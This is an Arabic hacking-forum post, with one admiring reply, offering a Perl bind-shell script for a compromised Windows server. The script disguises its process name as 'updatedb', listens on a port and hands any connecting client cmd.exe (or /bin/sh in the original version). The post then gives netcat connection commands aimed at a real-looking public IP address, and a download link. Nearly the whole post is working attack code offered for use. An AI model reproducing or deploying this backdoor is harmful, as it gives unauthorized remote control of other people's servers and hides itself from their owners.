اتصال عكسي: نكات netcat في سرفر وندوز (شرط وجود بيرل في السيرفر)

[KaLa$nikoV]

السلام عليكم و رحمة الله و بركاته
تشغيل اتصال عكسي: نكات في سرفر وندوز (شرط وجود بيرل في السيرفر)
نشوف ملف البيرل:

كود PHP:

#!/usr/bin/perl

$port = 1360;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
    accept(X, S);
    unless(fork)
    {
        open STDIN, "<&X";
        open STDOUT, ">&X";
        open STDERR, ">&X";
        close X;
        exec("/bin/sh");
    }
    close X;
} 


الملف يفتح بورت في أنظمة *nix

نغير الأمر

اقتباس /bin/sh

إلى

اقتباس cmd.exe

و نختار البورت المراد أنا اخترت 4444

الكود بعد التعديل :

كود PHP:

#!/usr/bin/perl
$port = 4444;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
    accept(X, S);
    unless(fork)
    {
        open STDIN, "<&X";
        open STDOUT, ">&X";
        open STDERR, ">&X";
        close X;
        exec("cmd.exe");
    }
    close X;
} 


نرفعه و نشغله في السيرفر

اقتباس perl win-bind.pl

في حاسوبنا ف نشغل netcat : نتصل بالسيرفر على البورت اللي اخترناه :

اقتباس nc -vv remote-ip remote-port

أي:

اقتباس nc -vv 217.174.252.229 4400

نشوف الإتصال :


نجح و في نفس المجلد اللي شغلنا فيه ملف البيرل !

للتوضيح لست انا مبرمج الملف .هو كان عندي قديم لكن عدلت عليه تعديل واحد فقط لتشغل أمر cmd.exe عند نجاح الإتصال



تحياتي

م ن ق و ل

تحياتي
الموضوع بملف txt عشان الحظر



http://www.4shared.com/file/X-WOY2OM/netcat.html

[الشبح المرح]

بارك الله فيك طريقة جميلة و كود اجمل

جاري التجربة